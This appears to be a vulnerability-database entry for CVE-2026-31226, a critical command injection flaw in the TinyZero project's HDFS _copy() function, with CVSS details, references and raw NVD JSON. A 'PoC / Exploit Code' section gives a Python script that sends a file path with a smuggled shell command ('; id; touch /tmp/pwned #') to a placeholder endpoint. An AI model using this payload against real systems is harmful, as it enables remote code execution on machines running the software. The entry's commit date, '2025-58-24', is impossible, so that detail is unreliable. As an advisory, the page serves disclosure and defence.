CVE-2026-31226

Description

The TinyZero project thru commit 6652a63c57fa7e5ccde3fc9c598c7176ff15b839 (2025-58-24) contains a critical command injection vulnerability (CWE-78) in its HDFS file operation utilities. The vulnerability arises from the unsafe construction and execution of shell commands via os.system() without proper input sanitization or escaping. User-controlled input (such as file paths) is directly interpolated into shell command strings using f-strings within the _copy() function. An attacker can inject arbitrary OS commands by supplying a specially crafted path parameter through the Hydra configuration framework. This leads to remote code execution with the privileges of the user running the TinyZero training process.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

TinyZero <= commit 6652a63c57fa7e5ccde3fc9c598c7176ff15b839

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit for CVE-2026-31226
# The vulnerability is in the _copy() function using os.system() with f-strings.
# Attacker controls the file path input.

import requests

target_url = "http://target-tinyzero-api/upload"

# Constructing a malicious path that injects a shell command
# The payload attempts to execute 'id' and 'touch /tmp/pwned'
malicious_path = "safe_file.txt; id; touch /tmp/pwned #"

payload = {
    "config": {
        "path": malicious_path
    }
}

try:
    # Send malicious configuration via Hydra framework interface
    response = requests.post(target_url, json=payload)
    
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print("[+] Check if /tmp/pwned was created on the target.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31226
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31226
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31226/
[4] VulDB https://vuldb.com/cve/CVE-2026-31226
[5] https://github.com/Jiayi-Pan/TinyZero
[6] https://www.notion.so/CVE-2026-31226-35d1e139318881d19af5d63095c74579

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31226", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:14.530", "lastModified": "2026-05-13T15:52:25.637", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The TinyZero project thru commit 6652a63c57fa7e5ccde3fc9c598c7176ff15b839 (2025-58-24) contains a critical command injection vulnerability (CWE-78) in its HDFS file operation utilities. The vulnerability arises from the unsafe construction and execution of shell commands via os.system() without proper input sanitization or escaping. User-controlled input (such as file paths) is directly interpolated into shell command strings using f-strings within the _copy() function. An attacker can inject arbitrary OS commands by supplying a specially crafted path parameter through the Hydra configuration framework. This leads to remote code execution with the privileges of the user running the TinyZero training process."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/Jiayi-Pan/TinyZero", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31226-35d1e139318881d19af5d63095c74579", "source": "[email protected]"}]}}